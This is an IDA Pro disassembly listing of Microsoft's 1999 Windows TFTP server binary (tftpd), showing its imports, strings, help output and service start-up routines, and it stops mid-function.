;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 5913EAD1A1E5F3E04AB8A10F60D71175
; File Name : u:\work\5913ead1a1e5f3e04ab8a10f60d71175_orig.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003310 ( 13072.)
; Section size in file : 00003400 ( 13312.)
; Offset to raw data for section: 00000600
; Flags 60000020: Text Executable Readable
; Alignment : default
;
; Imports from ADVAPI32.dll
;
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Externs
; _idata
; LSTATUS __stdcall RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)
extrn RegOpenKeyExA:dword ; CODE XREF: sub_10037BF+20p
; sub_1007417+32p ...
; BOOL __stdcall StartServiceCtrlDispatcherA(const SERVICE_TABLE_ENTRYA *lpServiceStartTable)
extrn StartServiceCtrlDispatcherA:dword ; CODE XREF: sub_1001570+DBp
; DATA XREF: sub_1001570+DBr
; LSTATUS __stdcall RegQueryValueExA(HKEY hKey, LPCSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)
extrn RegQueryValueExA:dword ; CODE XREF: sub_10037BF+64p
; sub_10037BF+99p ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
extrn RegCloseKey:dword ; CODE XREF: sub_10037BF+143p
; DATA XREF: sub_10037BF+143r
; SERVICE_STATUS_HANDLE __stdcall RegisterServiceCtrlHandlerA(LPCSTR lpServiceName, LPHANDLER_FUNCTION lpHandlerProc)
extrn RegisterServiceCtrlHandlerA:dword ; CODE XREF: sub_1001665+4Ap
; DATA XREF: sub_1001665+4Ar
; BOOL __stdcall SetServiceStatus(SERVICE_STATUS_HANDLE hServiceStatus, LPSERVICE_STATUS lpServiceStatus)
extrn SetServiceStatus:dword ; CODE XREF: sub_1001665+6Ap
; sub_1001665+F7p ...
;
; Imports from KERNEL32.dll
;
; void __stdcall ExitProcess(UINT uExitCode)
extrn ExitProcess:dword ; CODE XREF: sub_1001570+EDp
; DATA XREF: sub_1001570+EDr
; DWORD __stdcall ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize)
extrn ExpandEnvironmentStringsA:dword ; CODE XREF: sub_1003910+34p
; DATA XREF: sub_1003910+34r
; void __stdcall GetLocalTime(LPSYSTEMTIME lpSystemTime)
extrn GetLocalTime:dword ; CODE XREF: sub_1002A3D+35p
; DATA XREF: sub_1002A3D+35r
; void __stdcall DeleteCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn DeleteCriticalSection:dword ; CODE XREF: sub_1002901+48p
; DATA XREF: sub_1002901+48r
; void __stdcall SetLastError(DWORD dwErrCode)
extrn SetLastError:dword ; CODE XREF: sub_10027E1+83p
; sub_1002F31+1C3p ...
; BOOL __stdcall SetEvent(HANDLE hEvent)
extrn SetEvent:dword ; CODE XREF: sub_1001E73+36p
; DATA XREF: sub_1001E73+36r
; DWORD __stdcall ResumeThread(HANDLE hThread)
extrn ResumeThread:dword ; CODE XREF: HandlerProc+38p
; DATA XREF: HandlerProc+38r
; DWORD __stdcall GetLastError()
extrn GetLastError:dword ; CODE XREF: sub_1001570+E5p
; sub_1001665:loc_1001762p ...
; DWORD __stdcall WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
extrn WaitForSingleObject:dword ; CODE XREF: sub_1001665+210p
; sub_1001A91+1ABp
; DATA XREF: ...
; HANDLE __stdcall CreateEventA(LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCSTR lpName)
extrn CreateEventA:dword ; CODE XREF: sub_1001665+7Ep
; sub_1001665+89p ...
; void __stdcall InitializeCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn InitializeCriticalSection:dword ; CODE XREF: sub_10018DB+12p
; sub_10018DB+19p ...
; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
extrn HeapCreate:dword ; CODE XREF: sub_10019F0+23p
; DATA XREF: sub_10019F0+23r
; void __stdcall LeaveCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn LeaveCriticalSection:dword ; CODE XREF: sub_1001A1F+68p
; sub_1001A91+B5p ...
; BOOL __stdcall HeapFree(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem)
extrn HeapFree:dword ; CODE XREF: sub_1001A1F+58p
; DATA XREF: sub_1001A1F+58r
; BOOL __stdcall CloseHandle(HANDLE hObject)
extrn CloseHandle:dword ; CODE XREF: sub_1001A1F+49p
; sub_1001E73+A9p ...
; void __stdcall EnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn EnterCriticalSection:dword ; CODE XREF: sub_1001A1F+Bp
; sub_1001A91+4Ep ...
; LONG __stdcall InterlockedIncrement(volatile LONG *lpAddend)
extrn InterlockedIncrement:dword ; CODE XREF: sub_1001A91+27Cp
; sub_1001A91+2C1p
; DATA XREF: ...
; DWORD __stdcall WaitForMultipleObjects(DWORD nCount, const HANDLE *lpHandles, BOOL bWaitAll, DWORD dwMilliseconds)
extrn WaitForMultipleObjects:dword ; CODE XREF: sub_1001A91+158p
; DATA XREF: sub_1001A91+158r
; LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)
extrn HeapAlloc:dword ; CODE XREF: sub_1001A91+93p
; DATA XREF: sub_1001A91+93r
; BOOL __stdcall ResetEvent(HANDLE hEvent)
extrn ResetEvent:dword ; CODE XREF: sub_1001A91+75p
; DATA XREF: sub_1001A91+75r
; void __stdcall Sleep(DWORD dwMilliseconds)
extrn Sleep:dword ; CODE XREF: .text:01001D94p
; sub_100205A+4Ep
; DATA XREF: ...
; BOOL __stdcall TryEnterCriticalSection(LPCRITICAL_SECTION lpCriticalSection)
extrn TryEnterCriticalSection:dword ; CODE XREF: .text:01001D89p
; .text:01001D9Bp
; DATA XREF: ...
; DWORD __stdcall SuspendThread(HANDLE hThread)
extrn SuspendThread:dword ; CODE XREF: HandlerProc+50p
; DATA XREF: HandlerProc+50r
;
; Imports from MSVCRT.dll
;
extrn __imp__initterm:dword ; DATA XREF: _inittermr
extrn __getmainargs:dword ; CODE XREF: .text:01003B18p
; DATA XREF: .text:01003B18r
extrn __setusermatherr:dword ; CODE XREF: .text:01003AD8p
; DATA XREF: .text:01003AD8r
extrn _lseek:dword ; CODE XREF: sub_1002F31+1F0p
; sub_1002F31+20Ap
; DATA XREF: ...
extrn _close:dword ; CODE XREF: sub_1002953+11p
; DATA XREF: sub_1002953+11r
extrn _read:dword ; CODE XREF: sub_10027E1+63p
; DATA XREF: sub_10027E1+63r
; void *__cdecl malloc(size_t Size)
extrn malloc:dword ; CODE XREF: sub_1001FA6+30p
; sub_100205A+93p ...
; void *__cdecl realloc(void *Memory, size_t NewSize)
extrn realloc:dword ; CODE XREF: sub_1001FA6+55p
; DATA XREF: sub_1001FA6+55r
; int __cdecl fclose(FILE *File)
extrn fclose:dword ; CODE XREF: sub_1001E73+CDp
; DATA XREF: sub_1001E73+CDr
; void __cdecl free(void *Memory)
extrn free:dword ; CODE XREF: sub_10018DB+75p
; sub_1001F54+47p ...
; time_t __cdecl time(time_t *Time)
extrn time:dword ; CODE XREF: sub_1001665+114p
; HandlerProc+8p
; DATA XREF: ...
extrn _chdir:dword ; CODE XREF: sub_1001665+19Fp
; sub_1001665+1BEp
; DATA XREF: ...
; int *__cdecl errno()
extrn _errno:dword ; CODE XREF: sub_1001665+1A7p
; sub_10027E1+7Dp ...
extrn _mkdir:dword ; CODE XREF: sub_1001665+1AEp
; DATA XREF: sub_1001665+1AEr
; FILE *__cdecl fopen(const char *Filename, const char *Mode)
extrn fopen:dword ; CODE XREF: sub_1001665+1DBp
; DATA XREF: sub_1001665+1DBr
; char *__cdecl ctime(const time_t *Time)
extrn ctime:dword ; CODE XREF: sub_1001665+1F7p
; HandlerProc+19p
; DATA XREF: ...
; unsigned int __cdecl _controlfp(unsigned int NewValue, unsigned int Mask)
extrn __imp__controlfp:dword ; DATA XREF: _controlfpr
extrn _except_handler3:dword ; DATA XREF: .text:loc_1003BF0r
extrn __set_app_type:dword ; CODE XREF: .text:01003A7Fp
; DATA XREF: .text:01003A7Fr
extrn __p__fmode:dword ; CODE XREF: .text:01003A9Cp
; DATA XREF: .text:01003A9Cr
extrn __p__commode:dword ; CODE XREF: .text:01003AAAp
; DATA XREF: .text:01003AAAr
extrn _adjust_fdiv:dword ; DATA XREF: .text:01003AB8r
; int printf(const char *Format, ...)
extrn printf:dword ; CODE XREF: sub_1001570+52p
; sub_1001570+5Fp ...
extrn __p___initenv:dword ; CODE XREF: .text:01003B33p
; DATA XREF: .text:01003B33r
extrn __imp__XcptFilter:dword ; DATA XREF: _XcptFilterr
; void __cdecl exit(int Code)
extrn _exit:dword ; CODE XREF: .text:01003B7Ap
; DATA XREF: .text:01003B7Ar
extrn _open:dword ; CODE XREF: sub_1002F31+1A6p
; sub_100333A+1B9p
; DATA XREF: ...
extrn _write:dword ; CODE XREF: sub_100373A+5Bp
; DATA XREF: sub_100373A+5Br
; void __cdecl exit(int Code)
extrn exit:dword ; CODE XREF: sub_1001570+CFp
; sub_1001665+C0p ...
;
; Imports from WS2_32.dll
;
; SOCKET __stdcall WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags)
extrn WSASocketA:dword ; CODE XREF: sub_100205A+17p
; DATA XREF: sub_100205A+17r
; int __stdcall WSAGetLastError()
extrn WSAGetLastError:dword ; CODE XREF: sub_1001665+B1p
; sub_1001A91+12Bp ...
; int __stdcall WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData)
extrn WSAStartup:dword ; CODE XREF: sub_1001665+A6p
; DATA XREF: sub_1001665+A6r
; int __stdcall WSAEventSelect(SOCKET s, HANDLE hEventObject, __int32 lNetworkEvents)
extrn WSAEventSelect:dword ; CODE XREF: sub_100188E+Cp
; DATA XREF: sub_100188E+Cr
; u_short __stdcall htons(u_short hostshort)
extrn htons:dword ; CODE XREF: sub_1001A91+1D2p
; sub_100230A+18p ...
; BOOL __stdcall WSAGetOverlappedResult(SOCKET s, LPWSAOVERLAPPED lpOverlapped, LPDWORD lpcbTransfer, BOOL fWait, LPDWORD lpdwFlags)
extrn WSAGetOverlappedResult:dword ; CODE XREF: sub_1001A91+18Ep
; DATA XREF: sub_1001A91+18Er
; u_short __stdcall ntohs(u_short netshort)
extrn ntohs:dword ; CODE XREF: sub_1001A91+11Ep
; sub_1002A3D+40p ...
; int __stdcall WSARecvFrom(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, struct sockaddr *lpFrom, LPINT lpFromlen, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)
extrn WSARecvFrom:dword ; CODE XREF: sub_1001A91+10Fp
; DATA XREF: sub_1001A91+10Fr
; int __stdcall ioctlsocket(SOCKET s, __int32 cmd, u_long *argp)
extrn ioctlsocket:dword ; CODE XREF: sub_1001A91+2Ap
; DATA XREF: sub_1001A91+2Ar
; BOOL __stdcall WSACloseEvent(HANDLE hEvent)
extrn WSACloseEvent:dword ; CODE XREF: sub_1001F54+1Cp
; DATA XREF: sub_1001F54+1Cr
; int __stdcall closesocket(SOCKET s)
extrn closesocket:dword ; CODE XREF: sub_1001F54+13p
; sub_100205A+E7p ...
; char *__stdcall inet_ntoa(struct in_addr in)
extrn inet_ntoa:dword ; CODE XREF: sub_1002024+4p
; sub_1002F31+64p ...
; int __stdcall bind(SOCKET s, const struct sockaddr *name, int namelen)
extrn bind:dword ; CODE XREF: sub_100205A+7Ap
; sub_1002F31+256p ...
; struct servent *__stdcall getservbyname(const char *name, const char *proto)
extrn getservbyname:dword ; CODE XREF: sub_100205A+37p
; DATA XREF: sub_100205A+37r
; SOCKET __stdcall socket(int af, int type, int protocol)
extrn socket:dword ; CODE XREF: sub_1002F31+22Ep
; sub_100333A+1EBp
; DATA XREF: ...
; int __stdcall sendto(SOCKET s, const char *buf, int len, int flags, const struct sockaddr *to, int tolen)
extrn sendto:dword ; CODE XREF: sub_100230A+B6p
; sub_1002A3D+65p ...
;
; Imports from iphlpapi.dll
;
; DWORD __stdcall NotifyAddrChange(PHANDLE Handle, LPOVERLAPPED overlapped)
extrn __imp_NotifyAddrChange:dword ; DATA XREF: NotifyAddrChanger
; DWORD __stdcall GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder)
extrn __imp_GetIpAddrTable:dword ; DATA XREF: GetIpAddrTabler
;
; Imports from ntdll.dll
;
; void *__cdecl memmove(void *Dst, const void *Src, size_t Size)
extrn memmove:dword ; CODE XREF: sub_100273D+72p
; DATA XREF: sub_100273D+72r
; char *__cdecl strncpy(char *Dest, const char *Source, size_t Count)
extrn strncpy:dword ; CODE XREF: sub_1003910+24p
; DATA XREF: sub_1003910+24r
; int __cdecl isupper(int C)
extrn isupper:dword ; CODE XREF: sub_100333A+86p
; DATA XREF: sub_100333A+86r
; int __cdecl tolower(int C)
extrn tolower:dword ; CODE XREF: sub_1002F31+88p
; sub_100333A+95p
; DATA XREF: ...
extrn RtlUpdateTimer:dword ; CODE XREF: sub_1002A3D+BCp
; sub_1002B5E+114p ...
extrn RtlDeleteTimer:dword ; CODE XREF: sub_1002901+27p
; sub_1002A3D+FDp ...
; int __cdecl stricmp(const char *Str1, const char *Str2)
extrn _stricmp:dword ; CODE XREF: sub_10023D8+54p
; sub_10023D8+C6p ...
; int __cdecl atoi(const char *Str)
extrn atoi:dword ; CODE XREF: sub_10023D8+81p
; sub_10023D8+F2p
; DATA XREF: ...
; char *__cdecl itoa(int Val, char *DstBuf, int Radix)
extrn _itoa:dword ; CODE XREF: sub_10023D8:loc_1002597p
; DATA XREF: sub_10023D8:loc_1002597r
extrn RtlDeregisterWaitEx:dword ; CODE XREF: sub_1001F54+Ap
; sub_1002901+35p
; DATA XREF: ...
extrn __imp__chkstk:dword ; DATA XREF: _chkstkr
extrn RtlCreateTimerQueue:dword ; CODE XREF: sub_10018DB+81p
; DATA XREF: sub_10018DB+81r
extrn RtlRegisterWait:dword ; CODE XREF: sub_100188E+40p
; sub_10018DB+D6p
; DATA XREF: ...
extrn RtlCreateTimer:dword ; CODE XREF: sub_10018DB+A8p
; sub_1002F31+34Dp ...
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 100117Ch
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
; char aOWritableFiles[]
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
; char aWritable[]
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
; char aOReadableFiles[]
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
; char aReadable[]
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
; char aOValidmastersK[]
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
; char aMasters[]
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
; char aOValidclientsK[]
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
; char aClients[]
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
; char aTheseKeysAreSh[]
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
; char aOStartdirector[]
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
; char ValueName[]
ValueName db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
; char aRegistryKeyNam[]
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
; char SubKey[]
SubKey db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
; char aTftpd_logfileI[]
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
; char Filename[]
Filename db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
; char aTftpd_default_[]
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
; char Source[]
Source db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
; char Mode[]
Mode db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
; char name[]
name db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
; char proto[]
proto db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
; char aTsize[]
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
; char aTimeout_0[]
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
; char Str2[]
Str2 db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:printf
push offset Format ; " ======================================"...
call esi ; printf
pop ecx
push offset Source ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; printf
pop ecx
pop ecx
push offset Filename ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; printf
pop ecx
pop ecx
push offset SubKey ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; printf
pop ecx
pop ecx
push offset ValueName ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; printf
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; printf
pop ecx
pop ecx
push 0FFFFFFFFh ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset ServiceStartTable ; lpServiceStartTable
call ds:StartServiceCtrlDispatcherA ; StartServiceCtrlDispatcherA
test eax, eax
jnz short loc_100165B
call ds:GetLastError
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0 ; uExitCode
call ds:ExitProcess ; ExitProcess
sub_1001570 endp
; ---------------------------------------------------------------------------
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:ServiceStartTableo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset HandlerProc ; lpHandlerProc
push offset ServiceName ; "Tftpd"
mov ServiceStatus.dwServiceType, 30h
mov ServiceStatus.dwCurrentState, 2
mov ServiceStatus.dwControlsAccepted, ebp
mov ServiceStatus.dwCheckPoint, 1
mov ServiceStatus.dwWaitHint, 4E20h
mov ServiceStatus.dwWin32ExitCode, ebp
mov ServiceStatus.dwServiceSpecificExitCode, ebp
call ds:RegisterServiceCtrlHandlerA ; RegisterServiceCtrlHandlerA
cmp eax, ebp
mov hServiceStatus, eax
jz loc_1001762
mov esi, ds:SetServiceStatus
mov edi, offset ServiceStatus
push edi ; lpServiceStatus
push eax ; hServiceStatus
call esi ; SetServiceStatus
cmp eax, ebp
jz loc_1001762
mov ebx, ds:CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
call ebx ; CreateEventA
push ebp ; lpName
push ebp ; bInitialState
push ebp ; bManualReset
push ebp ; lpEventAttributes
mov hHandle, eax
call ebx ; CreateEventA
cmp hHandle, ebp
mov hObject, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset stru_1006140 ; lpWSAData
push 101h ; wVersionRequested
call ds:WSAStartup ; WSAStartup
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:WSAGetLastError ; WSAGetLastError
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1 ; Code
call ds:exit ; exit
; ---------------------------------------------------------------------------
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi ; lpServiceStatus
mov ServiceStatus.dwCurrentState, 4
push hServiceStatus ; hServiceStatus
mov ServiceStatus.dwControlsAccepted, 7
mov ServiceStatus.dwCheckPoint, ebp
mov ServiceStatus.dwWaitHint, ebp
call esi ; SetServiceStatus
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:GetLastError
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset Time
mov edi, edx
rep stosd
push edx ; Time
call ds:time ; time
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:_chdir
push ebx
call esi ; _chdir
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:_errno ; _errno
push ebx
call ds:_mkdir ; _mkdir
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; _chdir
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset Mode ; "a+"
push offset Filename ; "tftpd.log"
call ds:fopen ; fopen
pop ecx
cmp eax, ebp
pop ecx
mov File, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset Time ; Time
call ds:ctime ; ctime
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh ; dwMilliseconds
push hHandle ; hHandle
call ds:WaitForSingleObject ; WaitForSingleObject
cmp eax, ebp
jz loc_100172C
call ds:GetLastError
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_100188E(SOCKET s, HANDLE hEventObject, char)
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
s = dword ptr 8
hEventObject = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3 ; lNetworkEvents
push [ebp+hEventObject] ; hEventObject
push [ebp+s] ; s
call ds:WSAEventSelect ; WSAEventSelect
test eax, eax
jz short loc_10018AE
call ds:GetLastError
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+s]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+hEventObject]
lea eax, [ebp+var_4]
push eax
call ds:RtlRegisterWait ; RtlRegisterWait
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
Memory = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:InitializeCriticalSection
push edi
push offset CriticalSection ; lpCriticalSection
call esi ; InitializeCriticalSection
push offset stru_1006020 ; lpCriticalSection
call esi ; InitializeCriticalSection
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset Memory
